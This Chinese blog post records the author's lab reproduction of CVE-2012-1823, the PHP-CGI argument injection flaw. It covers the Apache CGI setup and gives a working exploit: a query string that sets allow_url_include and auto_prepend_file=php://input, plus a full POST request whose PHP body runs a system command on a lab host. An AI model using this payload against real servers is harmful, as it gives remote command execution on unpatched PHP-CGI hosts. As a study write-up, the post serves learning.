CVE-2012-1823及学习过程遇到的问题

 

    关于该漏洞的基本介绍见:

https://www.cvedetails.com/cve/CVE-2012-1823/
https://nvd.nist.gov/vuln/detail/CVE-2012-1823#match-2336792

 

一、漏洞利用环境

(1). 影响版本:

5.0.0<=php<=5.3.11&& 5.4.0<=php<=5.4.1

(2). CGI

PHP有四种运行方式:CLI,CGI,FASTCGI,MODULE。

本漏洞需要以CGI运行,方可触发此漏洞。CGI方式配置如下:

复制代码
# 1. 修改apache配置文件httpd.conf
# (1). 增加下列内容
ScriptAlias /php/ 'C:/php5.2.17/' #'C:/php5.2.17/'为php安装路径
AddType application/x-httpd-php .php
Action application/x-httpd-php "/php/php-cgi.exe"
# (2). 修改权限
<Directory />
    Options FollowSymLinks
    AllowOverride None
    Order deny,allow
    Allow from all
    #Deny from all
</Directory>
# 2. php.ini
# 如果不存在php.ini,就将"php.ini-recommended"修改为"php.ini"
# php.ini中关于cgi的配置默认即可,可以不用修改
复制代码

完成配置后,可以看到Server API已经是CGI了:

 

(3).说明

        该漏洞并未限定中间件与操作系统,如果使用的靶机是metasploitable,默认即是CGI,无需进行以上的配置,不过出于学习的目的,我还是自己从零开始配置相关环境,本次实验基于apache2.2,php 5.2.17,windows server 2003。

二、漏洞利用

需要用到的CGI模式可控命令行参数:

    • -s 显示源码
    • -d 指定配置项
cgi.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

        cgi.php,即使以cgi执行的php文件,-d参数用以修改php.ini中的内容,即修改allow_url_include=on,auto_prepend_file=php://input。auto_prepend_file表示在加载第一个PHP代码之前先行预加载该配置所指示的PHP文件,再加上php://input获取位于POST body部分的php恶意代码,即可实现命令执行。又由于php://input的利用条件是allow_url_fopen = on并且allow_url_include = on。默认情况下,allow_url_fopen=on,allow_url_include = off,所以需要修改allow_url_include。

 

使用burpsuite抓包,修改请求方式并添加相关内容:

请求包:

复制代码
POST /phptest.php?-d+allow_url_include%3don+d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.43.157
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

<?php
system("date");
die();
?>
复制代码

响应包:

复制代码
HTTP/1.1 200 OK
Date: Sat, 20 Aug 2022 04:35:59 GMT
Server: Apache/2.2.34 (Win32)
X-Powered-By: PHP/5.2.17
Connection: close
Content-Type: text/html
Content-Length: 51

µ±Ç°ÈÕÆÚ: 2022-08-20 ÐÇÆÚÁù 
ÊäÈëÐÂÈÕÆÚ: (ÄêÔÂÈÕ) 
复制代码

如图所示:

 

三、补充

(1).module模式

如果想要让php再module下运行,那么就修改httpd.conf:

# 添加下列代码:
# 因为运行的是php5.2.15,所以php5_module
#如果php5_module对不上,那么就会报类似下面的错误:
#httpd.exe: Syntax error on line .. of C:/Apache2.2/conf/httpd.conf: Can't locate API module structure `php_module' in file C:/PHP/php7apache2_4.dll: No error
LoadModule php5_module 'C:\php5.2.17\php5apache2_2.dll'
#指定PHP的目录
PHPIniDir 'C:\php5.2.17'
AddType application/x-httpd-php .php

(2).关于权限的问题

        如果实验中出现了如下图所示的访问权限不足的问题,那么有可能是httpd.conf中对路径的权限没有设置好,不要出现"Deny from all",把这句注释掉。

(3).apache无法启动的问题

        win2k3中已经有IIS占用80端口了,所以无法直接启动apache。可以修改IIS或者apache的端口,为了方便起见,我直接关闭了IIS。

 

参考链接:

1.https://www.freebuf.com/articles/web/213647.html

2.https://blog.csdn.net/weixin_30833209/article/details/116434410

3.https://www.cvedetails.com/cve/CVE-2012-1823/

4.https://nvd.nist.gov/vuln/detail/CVE-2012-1823#match-2336792

 

 

 

posted @   泓溪  阅读(310)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
点击右上角即可分享
微信分享提示